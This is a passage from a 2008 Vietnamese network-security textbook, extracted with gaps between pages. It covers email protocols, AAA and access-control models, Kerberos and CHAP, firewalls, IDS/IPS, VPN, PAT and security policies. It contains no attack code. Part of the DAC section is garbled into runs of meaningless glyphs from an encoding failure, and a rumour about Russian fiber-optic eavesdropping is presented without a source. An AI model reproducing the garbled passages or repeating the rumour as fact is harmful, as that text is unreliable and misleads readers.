dung máy ghi hình số (digital camera) đặc biệt là các Web cam. Phần mềm thư
điện tử giúp đỡ cho việc tiến hành soạn thảo, gửi, nhận, đọc, in, xoá hay lưu giữ
các (điện) thư. Có hai trường hợp phân biệt phần mềm thư điện tử là
Loại phần mềm thư điện tử được cài đặt trên từng máy tính của người dung gọi là
email client, hay phần mềm thư điện tử (cho) máy khách. Các thí dụ loại phần
mềm này bao gồm: Microsoft Outlook, Microsoft Outlook Express, Netscape
Comunicator, hay Eudora.
Ngược lại, loại phần mềm thư điện tử không cần phải cài đặt mà nó được cung ứng
bởi các máy chủ (web server) trên Internet gọi là WebMail, hay Phần mềm thư
điện tử qua Web. Để dung được các phần mềm loại này thường các máy tính nối
vào phải có một máy truy cập tương thích với sự cung ứng của WebMail. Thí dụ
loại này là mail.Yahoo.com, hay hotmail.com.
5.5.3. Các giao thức
SMTP (từ chữ Simple Mail Transfer Protocol) -- hay là giao thức chuyển thư đơn
giản. Đây là một giao thức lo về việc vận chuyển email giữa các máy chủ trên
đường trung chuyển đến địa chỉ nhận cũng như là lo việc chuyển thư điện tử từ
Cơ sở lý thuyết về BẢO MẬT MẠNG 2008
32
máy khách đến máy chủ. Hầu hết các hệ thống thư điện tử gửi thư qua Internet đều
dung giao thức này. Các mẫu thông tin có thể được lấy ra bởi một email client.
Những email client này phải dung giao thức POP hay giao thức IMAP.
IMAP (từ chữ Internet Message Access Protocol) -- hay là giao thức truy nhập
thông điệp (từ) Internet. Giao thức này cho phép truy nhập và quản lý các mẫu
thông tin về từ các máy chủ. Với giao thức này người dung email có thể đọc, tạo
ra, thay đổi, hay xoá các ngăn chứa, các mẫu tin đồng thời có thể tìm kiếm các nội
dung trong hộp thư mà không cần phải tải các thư về.
Phiên bản mới nhất của IMAP là IMAP4 tương tự nhưng có nhiều chức năng hơn
giao thức POP3. IMAP nguyên thuỷ được phát triển bởi đại học Standford năm
1986.
POP (từ chữ Post Office Protocol) -- hay là giao thức phòng thư. Giao thức này
được dung để truy tìm các email từ một máy chủ mail. Hầu hết các chương trình
Email Client đều sử dụng giao thức POP mặc du một số máy chủ mail cũng có thể
hỗ trợ giao thức mới hơn là IMAP.
Hiện có hai phiên bản của POP. Phiên bản đầu tiên là POP2 đã trở thành tiêu chuẩn
vào thập niên 80, nó đòi hỏi phải có giao thức SMTP để gửi đi các mẫu thông tin.
Phiên bản mới hơn POP3 có thể được dung mà không cần tới SMTP.
Cơ sở lý thuyết về BẢO MẬT MẠNG 2008
33
CHƯƠNG 2: GIỚI THIỆU VỀ AAA
1. Khái niệm:
- AAA là một khái niệm cơ bản nhất khi tìm hiểu về an ninh mạng máy tính, nó là
tổ hợp viết tắt của 3 từ: Access Control (kiểm soát truy cập), Authentication (Xác
thực truy cập) và Accounting (hoặc Auditing) (Giám sát thống kê)
- AAA là một nhóm các tiến trình dung để bảo vệ dữ liệu, tài nguyên hệ thống và
sự an toàn thông tin. Một trong những mục đích chính của AAA là nhằm cung cấp
CIA:
Confidentiality (Tính bí mật): Đảm bảo thông tin, dữ liệu không bị nắm bắt bởi
người thứ ba.
Integrity (Tính toàn vẹn): Đảm bảo thông tin, dữ liệu không bị thay đổi trong quá
trình truyền.
Availability (Tính sắn sàng): Thông tin, dữ liệu phải truy cập được nếu đủ quyền.
2. Kiểm soát truy cập (Access Control)
2.1. Khái niệm
- Kiểm soát truy cập có thể là một chính sách, phần mềm, hay phần cứng làm
nhiệm vụ từ chối hoặc cho phép đối tượng truy cập đến một tài nguyên nào đó. Nó
cũng có thể là thiết bị tổng hợp cao cấp như: Smart Card, thiết bị sinh học, router,
RAS, VPN… Nó cũng có thể là các cách phân quyền (Permissions) trên các tệp tin
hoặc thư mục chia se trong hệ thống.
2.2. Các phương pháp kiểm soát truy cập
2.2.1. Điều khiển truy cập bắt buộc (Mandatory Access Control – MAC)
Trong khoa học máy tính, kỹ thuật điều khiển truy cập bắt buộc (Mandatory
access control - viết tắt là MAC) được dung để bảo vệ và ngăn chặn các quy trình
máy tính, dữ liệu, và các thiết bị hệ thống khỏi sự lạm dụng. Kỹ thuật này có thể
mở rộng và thay thế kỹ thuật điều khiển truy cập tuy quyền đối với các phép truy
Cơ sở lý thuyết về BẢO MẬT MẠNG 2008
34
cập và sử dụng hệ thống tập tin (file-system permissions ) cung những khái niệm về
người dung và nhóm người dung.
Đặc trưng quan trọng nhất của MAC bao hàm việc từ chối người dung toàn quyền
truy cập / sử dụng tài nguyên do chính họ kiến tạo. Chính sách an ninh của hệ
thống (như đã được viên quản lý (administrator) quy dịnh) hoàn toàn quyết định
các quyền truy cập được công nhận, và một người dung không thể tự hạn chế
quyền truy cập vào các tài nguyên của họ hơn những gì mà viên quản lý chỉ định.
2.2.2. Điều khiển truy cập tùy quyền (Discretionary Access Control - DAC)
Điều khiển truy cập tùy quyền (Discretionary Access Control - �Y�L�G�W���W�7�W���O�j���'�$�&)
định nghĩa những chính sách điều khiển truy cập cơ bản đối với các đối tượng
trong một hệ thống tập tin (filesystem).
Nói chung, những việc này được giải quyết bằng �V�y���V�X�\�� �[�p�W���F�K�t�Q���F�K�7�Q của người
chủ sở hữu đối tượng -- phép truy cập và sử dụng tập tin/thư mục và tính sở hữu
của người dung / của nhóm người dung.
Trang Từ vựng viễn thông (tiếng Anh) định nghĩa DAC như ���0�a�W�� �S�K�ñ�ï�Q�J�� �S�K�i�S���Q�K�9�P���K�)�Q���F�K�G���W�U�X�\���F�5�S���F�i�F���ÿ�Y�L���W�ñ�k�Q�J���W�U�r�Q���F�ï���V�g���Q�K�5�Q���G�)�Q�J����identity�����Y�j���Q�K�X���F�/�X���F�/�Q���E�L�G�W����need-to-know) �F�o�D���Q�K�L�I�X���Q�J�ñ�e�L���G�•�Q�J���Y�j���K�D�\���F�o�D���F�i�F���Q�K�y�P���P�j���ÿ�Y�L���W�ñ�k�Q�J���W�U�y�F���W�K�X�a�F�����3�K�ñ�ï�Q�J���S�K�i�S���ÿ�L�I�X���N�K�L�K�Q���ÿ�ñ�k�F���F�R�L���O�j����W�X�ä���T�X�\�I�Q����Y�u���O�ê���G�R���P�a�W���F�K�o���W�K�K���Y�c�L���P�a�W���S�K�p�S���W�U�X�\���F�5�S���Q�j�R���ÿ�-�\���F�y���W�K�K���F�K�X�\�K�Q���Q�K�ñ�k�Q�J���S�K�p�S���W�U�X�\���F�5�S�����W�U�y�F���W�L�G�S���K�D�\���J�L�i�Q���W�L�G�S�����V�D�Q�J���E�-�W���F�q���P�a�W���F�K�o���W�K�K���Q�j�R���N�K�i�F���W�U�R�Q�J���K�O���W�K�Y�Q�J����
2.2.3. Điều khiển truy cập trên cơ sở vai trò (Role-Based Access Control -
RBAC)
Trong an ninh đối với các hệ thống máy tính, điều khiển truy cập trên cơ sở vai trò
(�W�L�G�Q�J�� �$�Q�K�� �5�R�O�H-Based Access Control - �Y�L�G�W�� �W�7�W�� �O�j�� �5�%�$�&) là một trong số các
phương pháp điều khiển và đảm bảo quyền sử dụng cho người dung. Đây là một
phương pháp có thể thay thế Điều khiển truy cập tuy quyền (discretionary access
control - DAC) và Điều khiển truy cập bắt buộc (mandatory access control -
MAC).
Điều khiển truy cập trên cơ sở vai trò (RBAC) khác với hình thức MAC và DAC
truyền thống. MAC và DAC trước đây là hai mô hình duy nhất được phổ biến
trong điều khiển truy cập. Nếu một hệ thống không dung MAC thì người ta chỉ có
thể cho rằng hệ thống đó dung DAC, hoặc ngược lại, mà thôi. Song cuộc nghiên
Cơ sở lý thuyết về BẢO MẬT MẠNG 2008
35
cứu trong những năm 1990 đã chứng minh rằng RBAC không phải là MAC hoặc
DAC.
Trong nội bộ một tổ chức, các vai trò (roles) được kiến tạo để đảm nhận các chức
năng công việc khác nhau. Mỗi vai trò được gắn liền với một số quyền hạn cho
phép nó thao tác một số hoạt động cụ thể ('permissions'). Các thành viên trong lực
lượng cán bộ công nhân viên (hoặc những người dung trong hệ thống) được phân
phối một vai trò riêng, và thông qua việc phân phối vai trò này mà họ tiếp thu được
một số những quyền hạn cho phép họ thi hành những chức năng cụ thể trong hệ
thống.
Vì người dung không được cấp phép một cách trực tiếp, song chỉ tiếp thu được
những quyền hạn thông qua vai trò của họ (hoặc các vai trò), việc quản lý quyền
hạn của người dung trở thành một việc đơn giản, và người ta chỉ cần chỉ định
những vai trò thích hợp cho người dung mà thôi. Việc chỉ định vai trò này đơn giản
hóa những công việc thông thường như việc cho thêm một người dung vào trong
hệ thống, hay đổi ban công tác (department) của người dung.
3. Xác thực truy cập (Authentication)
3.1. Khái niệm
- Xác thực truy cập là quá trình thẩm định máy tính hoặc người dung đang có ý
định truy cập vào hệ thống mạng hoặc tài nguyên. Quá trình xác thực đơn giản có
thể là sử dụng Tài khoản (username / password) hay phức tạp như Kerperos, PAP,
CHAP, sinh trắc học…
Chúng ta sẽ tìm hiểu lần lượt 1 số phương pháp xác thực căn bản ở phần tiếp theo.
3.2. Kerberos
3.2.1. Khái niệm
- Ban đầu, Kerberos được Học viện kỹ thuật Massachusetts (MIT) phát triển nhằm
bảo vệ các dịch vụ mạng cung cấp bởi dự án Athena. Tên của giao thức được đặt
theo tên của con chó ba đầu Cerberus canh gác cổng địa ngục trong thần thoại Hy
Lạp. Giao thức đã được phát triển dưới nhiều phiên bản, trong đó các phiên bản từ
1 đến 3 chỉ dung trong nội bộ MIT.
Cơ sở lý thuyết về BẢO MẬT MẠNG 2008
37
Người sử dụng nhập tên và mật khẩu tại máy tính của mình (máy khách).
Phần mềm máy khách thực hiện hàm băm một chiều trên mật khẩu nhận được. Kết
quả sẽ được dung làm khóa bí mật của người sử dụng.
Phần mềm máy khách gửi một gói tin (không mật mã hóa) tới máy chủ dịch vụ AS
để yêu cầu dịch vụ. Nội dung của gói tin đại ý: "người dung XYZ muốn sử dụng
dịch vụ". Cần chú ý là cả khóa bí mật lẫn mật khẩu đều không được gửi tới AS.
AS kiểm tra nhân dạnh của người yêu cầu có nằm trong cơ sở dữ liệu của mình
không. Nếu có thì AS gửi 2 gói tin sau tới người sử dụng:
Gói tin A: "Khóa phiên TGS/máy khách" được mật mã hóa với khóa bí mật của
người sử dụng.
Gói tin B: "Vé chấp thuận" (bao gồm chỉ danh người sử dụng (ID), địa chỉ mạng
của người sử dụng, thời hạn của vé và "Khóa phiên TGS/máy khách") được mật
mã hóa với khóa bí mật của TGS.
Khi nhận được 2 gói tin trên, phần mềm máy khách giải mã gói tin A để có khóa
phiên với TGS. (Người sử dụng không thể giải mã được gói tin B vì nó được mã
hóa với khóa bí mật của TGS). Tại thời điểm này, người dung có thể nhận thực
mình với TGS.
Khi yêu cầu dịch vụ, người sử dụng gửi 2 gói tin sau tới TGS:
Gói tin C: Bao gồm "Vé chấp thuận" từ gói tin B và chỉ danh (ID) của yêu cầu dịch
vụ.
Gói tin D: Phần nhận thực (bao gồm chỉ danh người sử dụng và thời điểm yêu
cầu), mật mã hóa với "Khóa phiên TGS/máy khách".
Khi nhận được 2 gói tin C và D, TGS giải mã D rồi gửi 2 gói tin sau tới người sử
dụng:
Gói tin E: "Vé" (bao gồm chỉ danh người sử dụng, địa chỉ mạng người sử dụng,
thời hạn sử dụng và "Khóa phiên máy chủ/máy khách") mật mã hóa với khóa bí
mật của máy chủ cung cấp dịch vụ.
Cơ sở lý thuyết về BẢO MẬT MẠNG 2008
38
Gói tin F: "Khóa phiên máy chủ/máy khách" mật mã hóa với "Khóa phiên
TGS/máy khách".
Khi nhận được 2 gói tin E và F, người sử dụng đã có đủ thông tin để nhận thực với
máy chủ cung cấp dịch vụ SS. Máy khách gửi tới SS 2 gói tin:
Gói tin E thu được từ bước trước (trong đó có "Khóa phiên máy chủ/máy khách"
mật mã hóa với khóa bí mật của SS).
Gói tin G: phần nhận thực mới, bao gồm chỉ danh người sử dụng, thời điểm yêu
cầu và được mật mã hóa với "Khóa phiên máy chủ/máy khách".
SS giải mã "Vé" bằng khóa bí mật của mình và gửi gói tin sau tới người sử dụng để
xác nhận định danh của mình và khẳng định sự đồng ý cung cấp dịch vụ:
Gói tin H: Thời điểm trong gói tin yêu cầu dịch vụ cộng thêm 1, mật mã hóa với
"Khóa phiên máy chủ/máy khách".
Máy khách giải mã gói tin xác nhận và kiểm tra thời gian có được cập nhật chính
xác. Nếu đúng thì người sử dụng có thể tin tưởng vào máy chủ SS và bắt đầu gửi
yêu cầu sử dụng dịch vụ.
Máy chủ cung cấp dịch vụ cho người sử dụng.
3.2.3. Nhược điểm
Tồn tại một điểm yếu: Nếu máy chủ trung tâm ngừng hoạt động thì mọi hoạt động
sẽ ngừng lại. Điểm yếu này có thể được hạn chế bằng cách sử dụng nhiều máy chủ
Kerberos.
Giao thức đòi hỏi đồng hồ của tất cả những máy tính liên quan phải được đồng bộ.
Nếu không đảm bảo điều này, cơ chế nhận thực giữa trên thời hạn sử dụng sẽ
không hoạt động. Thiết lập mặc định đòi hỏi các đồng hồ không được sai lệch quá
10 phút.
Cơ chế thay đổi mật khẩu không được tiêu chuẩn hóa.
Cơ sở lý thuyết về BẢO MẬT MẠNG 2008
40
Nguyên tắc xác thực 3 bước của CHAP
Nguyên tắc này có thể mô tả như sau:
- Khi muốn kết nối PPP đến HQ, Remote User nó sẽ gửi 1 gói tin xin thiết lập kết
nối, gói tin này có chứa thông tin về tên user (hostname).
- Central-Site sẽ kiểm tra database của nó để tìm tên tài khoản và mật khẩu của
Remote User (ở đây mật khẩu của user: School là Student). Sau đó, HQ sẽ sinh ra
1 thông điệp ngẫu nhiên, gọi là Challege Message và gửi nó trở lại cho Remote
User. Đồng thời, HQ dung hàm băm 1 chiều MD5 để mã hóa cả mật khẩu của
Remote User và Challenge Message thành một chuỗi giá trị băm (Hash Value 1 )
- Remote User nhận được Challenge Message cũng sử dụng hàm băm một chiều
MD5 để mã hóa mật khẩu của mình cung Challege Message để được chuối giá trị
băm (Hash Value 2). Sau đó Remote User gửi gói tin chứa chuỗi giá trị băm này
(hash value 2) tới HQ.
- HQ kiểm tra 2 giá trị băm (Hash Value 1 và 2) này, nếu khớp nhau thì đồng ý
thiết lập kết nối và gửi gói tin thông báo kết nối cho Remote User. Ngược lại, kết
nối bị từ chối.
Rõ ràng, với CHAP, mật khẩu của người dung không được truyền trên môi trường
mạng dưới dạng “cleartext”, tránh được các kiểu tấn công nghe lén, bắt gói tin…
3.5. TOKEN
Tokens là phương tiện vật lý như các the thông minh (smart cards) hoặc the đeo
của nhân viên (ID badges) chứa thông tin xác thực. Tokens có thể lưu trữ số nhận
dạng cá nhân-personal identification numbers (PINs), thông tin về người dung,
hoặc mật khẩu... Các thông tin trên token chỉ có thể được đọc và xử lý bởi các thiết
bị đặc dụng, ví dụ như the smart card được đọc bởi đầu đọc smart card gắn trên
máy tính, sau đó thông tin này được gửi đến máy chủ xác thực (authenticating
server). Tokens chứa chuỗi text hoặc giá trị số duy nhất và thông thường mỗi giá
trị này chỉ sử dụng một lần.
3.6. Chứng chỉ số (Certificates)
3.6.1. Chứng chỉ số là gì ?
Cơ sở lý thuyết về BẢO MẬT MẠNG 2008
45
PHẦN 2
AN NINH HẠ TẦNG
Cơ sở lý thuyết về BẢO MẬT MẠNG 2008
46
CHƯƠNG 1: MÔ HÌNH MẠNG BẢO MẬT
1. Lời mở đầu
Trước tình hình về an ninh mạng hiện nay, việc xây dựng một mô hình mạng hoạt
động hiệu quả đồng thời đảm bảo tính an ninh là một nhu cầu không thể thiếu đối
với tất cả các hệ thống từ nhỏ đến lớn. Tuy nhiên, việc xây dựng được 1 mô hình
mạng cụ thể phụ thuộc rất nhiều vào nhu cầu sử dụng dịch vụ của doanh nghiệp,
khả năng tài chính, trình độ quản trị… Trong nội dung tài liệu tổng quan an ninh
mạng này, tôi xin giới thiệu một mô hình mạng tương đối đầy đủ những khía cạnh
an ninh. Qua đó, giúp cho người đọc có cái nhìn tổng quan về các thành phần của
một hệ thống đảm bảo an ninh.
2. Phân đoạn mạng (Segmentation)
Network Segments
Toàn bộ hệ thống bên trong nội bộ nên được phân đoạn mạng thành những mạng
con. Việc phần đoạn mạng này có thể thực hiện bằng các bộ định tuyến (Router),
Switch hay tường lửa nhằm cung cấp các lợi ích sau:
Cơ sở lý thuyết về BẢO MẬT MẠNG 2008
49
6. Thiết bị phát hiện/ngăn chặn xâm nhập
Cơ sở lý thuyết về BẢO MẬT MẠNG 2008
52
Hệ thống dò tìm điểm yếu
Cơ sở lý thuyết về BẢO MẬT MẠNG 2008
53
CHƯƠNG 2: TƯỜNG LỬA
1. Khái niệm
- Tường lửa là thiết bị được dung phổ biến nhất để bảo vệ hệ thống mạng nội bộ
(internal network) trước sự tấn công từ bên ngoài. Khi được cấu hình chính xác, 1
tường lửa có thể ngăn cản sự truy cập trái phép vào hệ thống, cũng như kiểm soát
người dung nội bộ kết nối ra bên ngoài.
- Có 3 loại công nghệ tường lửa phổ biến hiện nay, đó là:
Packet Filtering
Application Layer Gateways (Application Filtering)
Stateful Inspection (Stateful Packet Filtering)
2. Các công nghệ tường lửa
2.1. Packet Filtering (lọc gói tin)
Một tường lửa sử dụng công nghệ Packet Filtering cho phép hay từ chối truy cập
dựa trên cổng dịch vụ và/hoặc địa chỉ IP. Thông thường loại tường lửa này thường
có 1 trong 2 luật (rules) mặc định sau:
Allow by Default: Luật này cho phép tất cả giao thông mạng đi qua tường
lửa ngoại trừ những giao thông được người quản trị thiết lập cụ thể.
Deny by Default: Luật này cấm tất cả giao thông mạng đi qua tường lửa
ngoại trừ những giao thông được người quản trị thiết lập để cho phép.
Rõ ràng, luật “Deny by Default” là chính sách an ninh tốt nhất bởi vì nó hạn chế
tới mức thấp nhất khả năng truy cập trái phép vào hệ thống. Thường thi người quản
trị sẽ sử dụng luật này để cấm tất cả các cổng dịch vụ, ngoại trừ những dịch vụ thật
cần thiết đối với nhu cầu tổ chức. Ví dụ, một người quản trị sẽ cấu hình cấm tất cả
các truy cập từ bên ngoài vào vung phi quân sự (DMZ) ngoại trừ cổng 80 dành cho
dịch vụ HTTP nếu tổ chức có nhu cầu xuất bản website.
Cơ sở lý thuyết về BẢO MẬT MẠNG 2008
57
2.3. Stateful Inspection Firewall
Là sự kết hợp của hai công nghệ tường lửa ở trên, Stateful Inpection hay Stateful
Packet Filtering được coi là thế hệ tường lửa thông minh, nó khắc phục được
những hạn chế của các loại công nghệ cũ, đồng thời tăng cường tính bảo mật. Công
nghệ Stateful Inpection không thật sự phá bỏ cấu trúc Client/Server như công nghệ
Application Filtering, do đó, nó hoạt động nhanh hơn. Nó cũng bảo mật hơn nhiều
so với công nghệ Packet Filtering dựa trên cách gói tin được xử lý.
Tính năng chính của công nghệ Stateful Inpection là khả năng kiểm soát ứng dụng
và trạng thái kết nối. Stateful Inpection kiểm tra toàn bộ gói tin ở lần truy cập đầu
tiên, nếu thỏa mãn các luật cho phép, nó sẽ lưu các thông tin về kết nối này vào 1
bảng gọi là bảng trạng thái “state table”. Sau đó, các gói tin tiếp theo chỉ việc đối
chiếu với bảng trạng thái này và được đi qua tường lửa. Khi phiên kết nối kết thúc,
tường lửa sẽ lại xóa các thông tin về kết nối đó trong bảng trạng thái. Điều này cho
phép tường lửa xử lý linh động và an toàn hơn rất nhiều so với các loại công nghệ
trước.
Cơ sở lý thuyết về BẢO MẬT MẠNG 2008
58
Trở lại ví dụ ở trên, trong khi tường lửa dạng Packet Filtering phải mở tất cả các
cổng cao hơn 1023 từ bên ngoài vào máy tính người dung, tường lửa dạng Stateful
Inpection xem xét toàn bộ gói tin ở lần đầu tiên và ghi nhận cổng trả về là 2031, do
đó, nó chỉ mở cổng 2031 để nhận thông tin trả về. Và khi phiên kết nối kết thúc, nó
sẽ tự động đóng cổng đó lại.
Cơ sở lý thuyết về BẢO MẬT MẠNG 2008
62
Pros:
Phát hiện được chính xác được rất nhiều kiểu tấn công và các hoạt động gây
hại.
Có khả năng lưu vết tốt (theo dõi hành động của một người dung nào đó)
Có thể phân tích cả dữ liệu đã được mã hóa.
Cons:
Phạm vi hoạt động khá hạn chế do chỉ làm việc với 1 số ứng dụng.
Tiêu tốn tài nguyên máy tính một cách đáng kể.
2.2. Phân loại theo nguyên lý hoạt động của IDS/IPS
Không chỉ phân biệt theo phạm vi hoạt động, IDS/IPS còn có thể phân biệt theo
nguyên lý hoạt động hay kỹ thuật phân tích dữ liệu. Một số IDS/IPS sử dụng kỹ
thuật gọi là ‘dò tìm dấu hiệu’ (Signature Detection). Kỹ thuật này tương tự rất
nhiều các chương trình diệt virus- sử dụng các dấu hiệu virus để nhận dạng và
khóa các tệp tin, chương trình… bị nhiễm; nhưng thay vì dấu hiệu virus, ở đây là
cơ sở dữ liệu về lưu thông mạng hoặc các dấu hiệu tấn công (Attack signatures).
Đây là loại kỹ thuật được dung phổ biến nhất hiện nay. Ngoài ra, còn có một loại
IDS/IPS sử dụng kỹ thuật gọi là ‘dò tìm bất thường’ (Anomaly Detection). Nó sử
dụng các luật (rules) hay các định nghĩa được thiết lập trước về sự ‘bình thường’
(Normal) và ‘bất thường’ (Anomal) của hoạt động hệ thống để kiểm soát, báo cáo
và ngăn chặn các hoạt động bất thường nếu có. Hiện tại, loại IDS/IPS này chưa
thật phổ biến, tuy nhiên, hầu hết giới chuyên gia đều cho rằng kỹ thuật này sẽ rất
phát triển trong tương lai.
Chúng ta sẽ tìm hiểu sâu hơn một chút về điểm mạnh yếu của hai kỹ thuật trên:
2.2.1. Signature-based IDS/IPS
Pros:
Phát hiện rất chính xác các dấu hiệu tấn công đã biết.
Cấu hình dễ dàng.
Cơ sở lý thuyết về BẢO MẬT MẠNG 2008
64
CHƯƠNG 4. MẠNG RIÊNG ẢO
1. Khái niệm
VPN là một mạng riêng sử dụng hệ thống mạng công cộng (thường là Internet) để
kết nối các địa điểm hoặc người dung từ xa với một mạng LAN ở trụ sở trung tâm.
Thay vì dung kết nối thật khá phức tạp như đường dây thuê bao số, VPN tạo ra các
liên kết ảo được truyền qua Internet giữa mạng riêng của một tổ chức với địa điểm
hoặc người dung ở xa. Thông thường, người dung từ xa đơn giản chỉ cần có kết nối
tới nhà cung cấp dịch vụ và sau đó họ sử dụng các phần mềm VPN Client để tạo
kết nối VPN tới trung tâm. Khi đó, người dung có thể sử dụng tài nguyên hệ thống,
trao đổi dữ liệu nội bộ như thể họ đang nằm trong mạng LAN của trung tâm.
Giải pháp VPN (Virtual Private Network) được thiết kế cho những tổ chức có xu
hướng tăng cường thông tin từ xa vì địa bàn hoạt động rộng (trên toàn quốc hay
toàn cầu). Tài nguyên ở trung tâm có thể kết nối đến từ nhiều nguồn nên tiết kiệm
được được chi phí và thời gian.
Một mạng VPN điển hình bao gồm mạng LAN chính tại trụ sở (Văn phòng chính),
các mạng LAN khác tại những văn phòng từ xa, các điểm kết nối (như 'Văn phòng'
tại gia) hoặc người sử dụng (Nhân viên di động) truy cập đến từ bên ngoài.
Cơ sở lý thuyết về BẢO MẬT MẠNG 2008
65
2. Các loại VPN
Có hai loại phổ biến hiện nay là VPN truy cập từ xa (Remote-Access ) và VPN
điểm-nối-điểm (site-to-site).
2.1. VPN truy cập từ xa
VPN truy cập từ xa còn được gọi là mạng Dial-up riêng ảo (VPDN), là một kết nối
người dung-đến-LAN, thường là nhu cầu của một tổ chức có nhiều nhân viên cần
liên hệ với mạng riêng của mình từ rất nhiều địa điểm ở xa. Ví dụ như công ty
muốn thiết lập một VPN lớn phải cần đến một nhà cung cấp dịch vụ doanh nghiệp
(ESP). ESP này tạo ra một máy chủ truy cập mạng (NAS) và cung cấp cho những
người sử dụng từ xa một phần mềm máy khách cho máy tính của họ. Sau đó, người
sử dụng có thể gọi một số miễn phí để liên hệ với NAS và dung phần mềm VPN
máy khách để truy cập vào mạng riêng của công ty. Loại VPN này cho phép các
kết nối an toàn, có mật mã.
Hình minh họa cho thấy kết nối giữa Văn phòng chính và "Văn phòng" tại gia hoặc
nhân viên di động là loại VPN truy cập từ xa).
2.2. VPN điểm-nối-điểm
VPN điểm-nối-điểm là việc sử dụng mật mã dành cho nhiều người để kết nối nhiều
điểm cố định với nhau thông qua một mạng công cộng như Internet. Loại này có
thể dựa trên Intranet hoặc Extranet. Loại dựa trên Intranet: Nếu một công ty có vài
địa điểm từ xa muốn tham gia vào một mạng riêng duy nhất, họ có thể tạo ra một
VPN intranet (VPN nội bộ) để nối LAN với LAN. Loại dựa trên Extranet: Khi một
công ty có mối quan hệ mật thiết với một công ty khác (ví dụ như đối tác cung cấp,
khách hàng...), họ có thể xây dựng một VPN extranet (VPN mở rộng) kết nối LAN
với LAN để nhiều tổ chức khác nhau có thể làm việc trên một môi trường chung.
Trong hình minh họa trên, kết nối giữa Văn phòng chính và Văn phòng từ xa là
loại VPN Intranet, kết nối giữa Văn phòng chính với Đối tác kinh doanh là VPN
Extranet.
VPN sử dụng một số giao thức trong việc mã hóa đường truyền bao gồm Secure
Internet Protocol (IPSec), Layer 2 Tunneling Protocol (L2TP), Point to Point
Tunneling Protocol (PPTP) và SSH. IPSec hiện tại được coi là giao thức được sử
dụng phổ biến nhất khi triển khai VPN, tiếp theo là các giao thức L2TP và PPTP.
Cơ sở lý thuyết về BẢO MẬT MẠNG 2008
71
PAT cho phép chỉ 1 địa chỉ IP public đại diện cho rất nhiều địa chỉ bên trong bằng
cách gán các cổng khác nhau cho từng kết nối và lưu các thông tin vào bảng PAT.
Khi nhận gói tin trả về, PAT sẽ so sánh với bảng PAT để chuyển gói tin đến đúng
nguồn kết nối.
Cơ sở lý thuyết về BẢO MẬT MẠNG 2008
74
Cáp quang dài, mỏng thành phần của thủy tinh trong suốt bằng đường kính của
một sợi tóc. Chúng được sắp xếp trong bó được gọi là cáp quang và được sử dụng
để truyền tín hiệu trong khoảng cách rất xa. Cáp quang có cấu tạo gồm dây dẫn
trung tâm là sợi thủy tinh hoặc plastic đã được tinh chế nhằm cho phép truyền đi
tối đa các tín hiệu ánh sáng. Sợi quang được tráng một lớp lót nhằm phản chiếu tốt
các tín hiệu.
Ưu điểm
• Chi phí - Chi phí thấp hơn so với cáp đồng
• Mỏng hơn - Cáp quang được thiết kế có đường kính nhỏ hơn cáp đồng.
• Dung lượng tải cao hơn - Bởi vì sợi quang mỏng hơn cáp đồng, nhiều sợi quang
có thể được bó vào với đường kính đã cho hơn cáp đồng. Điều này cho phép nhiều
kênh đi qua cáp của bạn.
• Suy giảm tín hiệu ít - Tín hiệu bị mất trong cáp quang ít hơn trong cáp đồng.
• Tín hiệu ánh sáng - Không giống tín hiệu điện trong cáp đồng, tín hiệu ánh sáng
từ sợi quang không bị nhiễu với những sợi khác trong cung cáp. Điều này làm cho
chất lượng tín hiệu tốt hơn.
• Sử dụng điện nguồn ít hơn - Bởi vì tín hiệu trong cáp quang giảm ít, máy phát có
thể sử dụng nguồn thấp hơn thay vì máy phát với điện thế cao được dung trong cáp
đồng.
• Tín hiệu số - Cáp quang lý tưởng thích hợp để tải thông tin dạng số mà đặc biệt
hữu dụng trong mạng máy tính.
• Không cháy - Vì không có điện xuyên qua cáp quang, vì vậy không có nguy cơ
hỏa hạn xảy ra.
Hiện tại, cáp quang được coi là phương tiện truyền dẫn an toàn. Tuy nhiên, một số
thông tin không chính thức gần đây cho biêt, chính phủ Nga đã chế tạo được một
thiết bị có thể nghe lén thông tin truyền qua cáp quang thông qua cơ chế phân tích
bước sóng.
Cơ sở lý thuyết về BẢO MẬT MẠNG 2008
75
4. Các thiết bị lưu trữ
Các thiết bị lưu trữ thường có:
Băng từ
Đĩa CD/DVD
Ổ cứng
USB
Smartcards
Nhìn chung, đây là các thiết bị lưu trữ nhỏ gọn, dễ di chuyển, nên cần chú ý đến
nguy cơ bị mất cắp thiết bị.
Ngoài ra, với các thiết bị như USB, Smartcards, cần tránh lưu giữ những dữ liệu
quan trọng, nên mã hóa dữ liệu cũng như cung cấp các cơ chế xác thực.
Với ổ đĩa cứng, nên sử dụng các cơ chế mã hóa dữ liệu, tăng tính dự phòng bằng
cách sử dụng Raid…
Cơ sở lý thuyết về BẢO MẬT MẠNG 2008
78
Ví dụ: Người dung chỉ cần nhập Username/password khi muốn đăng
nhập vào máy tính của mình, nhưng muốn ra internet, họ bắt buộc phải
sử dụng cung với Smart Card.
Các chính sách về mã hóa (Encryption)
o Chính sách về mã hóa nhằm đảm bảo sự toàn vẹn của dữ liệu, và bảo vệ
những thông tin nhạy cảm khi truyền qua những môi trường không an
toàn.
Các chính sách về sự tuân thủ (Compliance)
o Chính sách về sự tuân thủ đảm bảo mọi đối tượng trong phạm vi áp dụng
phải tuân thủ những quy định trong chính sách. Nó cũng chỉ ra các
phương pháp để nhận biết sự không tuân theo của một đối tượng nào đó
hay mức phạt áp dụng đối với từng sự vi phạm.
Các chính sách về giám sát thống kê (Auditing)
o Khi một chính sách được thiết lập, điều quan trọng là nó phải được giám
sát và thống kê thường xuyên để đảm bảo tất cả các thành phần tham gia
đã và đang tuân theo.
Các chính sách về nhận thức an ninh mạng (Security Awareness)
o Nhận thức của nguời dung là một phần quan trọng hàng đầu của việc
đảm bảo an ninh mạng. Các chính sách về nhận thức an ninh mạng nhằm
đảm bảo người dung có sự hiểu biết đầy đủ về các nguy cơ an ninh mạng,
tránh trường hợp người dung vô tình gây hại cho hệ thống hoặc bị lợi
dụng để làm điều đó. Thông thường, người dung cần được trang bị kiến
thức về cách bảo vệ mật khẩu của họ cũng như các thủ đoạn lừa đảo trên
mạng (Social Engineering Attacks)
Các chính sách về phòng chống thảm họa (Disaster Recovery)
o Chính sách về phòng chống thảm họa xác định rõ làm thế nào để hoạt
động mạng của tổ chức được phục hồi nhanh chóng sau khi có bất kể loại
Cơ sở lý thuyết về BẢO MẬT MẠNG 2008
79
thảm họa tự nhiên (cháy, nổ ,động đất, bảo lụt…) hay cuộc tấn công nào
xảy ra.
